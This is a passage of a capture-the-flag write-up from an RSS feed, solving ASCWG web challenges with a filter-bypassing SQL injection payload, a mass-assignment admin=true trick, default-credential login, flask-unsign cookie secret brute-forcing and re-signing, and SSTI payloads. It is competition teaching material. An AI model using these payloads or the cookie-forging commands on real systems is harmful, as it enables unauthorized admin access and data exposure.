ASCWG{yeah_mrx_come_her!!!!!!!!!!!!!!!!}</p><blockquote>Challenge Name: SadQL<br>Score: 600 Points<br>Level: Medium</blockquote><h3>Solution</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*kKLoxyB5Zdm4KAAfeWdjMA.jpeg" /></figure><p>From the challenge name we guessed that it will be SQL Injection, we made a request with random credentials and moved to Burp Repeater</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YkAYHRgh98EXQchvvJtd5g.png" /></figure><p>after testing with multiple payloads we got a useful error by adding [] for the parameter name while testing for NoSQL</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pii_V7mM-xWeVhzB9eu4Ew.png" /></figure><p>Noticed that function and searched for a bypass for it, we found this <a href="http://www.securityidiots.com/Web-Pentest/SQL-Injection/addslashes-bypass-sql-injection.html">blog</a></p><p>and after testing for some time we used the %af%5c character which is found in the blog, and we got this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BXt6-hdTfFLpd8-czOB7iw.png" /></figure><p>Which made us sure that it is SQL Injection<br>After more testing we knew that it filters: or, space, — — (comment)<br>We crafted this payload to bypass the filters</p><p>Payload: admin%af%5c’ — %0aoorr(1=1)#)%23</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BKT_nn55DTI-3F2EwQS41Q.png" /></figure><p>Flag: ASCWG{SqL_1Nj3ct1on_1s_V3Ry_Esay_ANd_Funyyyyyy!}</p><blockquote>Challenge Name: Blind<br>Score: 600 Points<br>Level: Medium</blockquote><h3>Solution</h3><p>First we have a web application with 3 functions Login, Register, Update Profile.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*sth8v21IESolixH46cSqcQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*-9nkVL5EQ30vOd3L6dja_Q.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*I_9A9oNDVyND2rrFTUSdJQ.jpeg" /></figure><p>From Challenge name we expected it will be SQLi.</p><p>Now I registered an account, logged in, update my profile and go to Burp Proxy</p><p>We tried testing for SQLi but nothing useful, and with a lot of testing we decided to try mass assignment in the Sign Up function and the Update Profile Function using a lot of parameters and <em>admin=true</em> worked in the Update Profile Function.<br>Then requested the Dashboard page and we got You are Admin and the Flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*jgO13pi_xeARLsXag7IQ6Q.jpeg" /></figure><p><em>Update Profile with Assignment parameter</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j_lbeA2xy7I9_tBzevgAQg.png" /></figure><p><em>Dashboard Page</em></p><p>Flag: ASCWG{Mass_N0t_m@th_assignment-AnDmY_name_1s_S@dC0d3r}</p><blockquote>Challenge Name: Father’s Light<br>Score: 600 Points<br>Level: Medium</blockquote><h3>Solution</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*dm8AxhvDWx5pR7JW.png" /></figure><p>After I enter the challenge I found this login panel, I tried some SQLi payloads and analyzed source code but nothing important.</p><p>so I started fuzzing the directories to find any useful information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*aGVAgVZXChOuv7As.png" /></figure><p>Good, there is some result, but all of them need authentication except the console, that unfortunately protected by a PIN code</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*AN7zPd7zUI3PdZdL.png" /></figure><p>so I decided to try another something, I tried to brute force the username and password</p><blockquote><em>username : admin<br>password : password</em></blockquote><p>it worked, and it redirect me to <em>/user</em> page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*GxZMWf2rMinFnDG0.png" /></figure><p>but I still can’t access <em>/admin</em> page, but I notice interesting something in cookies session there is value but unable to decode it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*zOEff6QzskLKOLbc.png" /></figure><p>from the response, we know the server is <em>Werkzeug</em>, searched for <em>Werkzeug </em>cookie decode, and I found <a href="https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/flask">this blog</a></p><p>I used this command to decode the cookie</p><pre>flask-unsign --decode --cookie &#39;.eJyrVsosjk9Myc3MU7JKS8wpTtVRKi1OLYrPTFGyUjI0M1KC8PMSc1OBAhCFtQDj5xGP.ZM3LjA.FWLC3h4MIe3KKhouujN7GUxjyxw&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*-dBW2DpCOhzZk85m.png" /></figure><p>now we need to change <em>is_admin</em> from False to True and encode it again, but this process needs a secret key to encode the JSON again.</p><p>from HackTricks: I could brute force the secret key with this command</p><pre>flask-unsign --wordlist /home/mostafa/wordlists/words_permutation.txt --unsign --cookie &#39;.eJyrVsosjk9Myc3MU7JKS8wpTtVRKi1OLYrPTFGyUjI0M1KC8PMSc1OBAhCFtQDj5xGP.ZM3LjA.FWLC3h4MIe3KKhouujN7GUxjyxw&#39; --no-literal-eval</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*rG9SzwaHiNH6sSJh.png" /></figure><p>now I able to sign and encode the session without any problem.</p><pre>flask-unsign --sign --cookie &quot;{&#39;is_admin&#39;: True, &#39;user_id&#39;: &#39;162&#39;, &#39;username&#39;: &#39;admin&#39;}&quot; --secret &#39;amorlove&#39; --legacy</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*p8YsaKOFZa-hulrt.png" /></figure><p>replace current session with new one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*vCt-MNyUiFh8VBez.png" /></figure><p>now I able to visit the dashboard page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*U_AvggdfG6jGMBe4.png" /></figure><p>I started to check the function, i put <em>mostafa </em>in Name input, <em>test@email.com</em>, and <em>test</em> in content</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*iqgBak4zAnJURhKj.png" /></figure><p>I noticed Name and Content values were reflected in page, first thing came into my mind is SSTI, I tried some payloads the one was workes is ${{7*7}} in Name</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*Finb6bowy1RkVjQw.png" /></figure><p>I tried some payloads to get any information like <em>{{ config }}</em>, and I found the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*0c0tGFJWVOKX-NlJ.png" /></figure><blockquote><em>Flag : ASCWG{H0la_H@Ck3r5_Th1s_a_S3m6le_55TI}</em></blockquote><p>This Write-up is made by me and my great teammate <a href="https://medium.com/u/e15a3908b988">Mostafa Elguerdawi</a></p><p><strong>Thanks for Reading ♥</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f331c4dbe73d" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>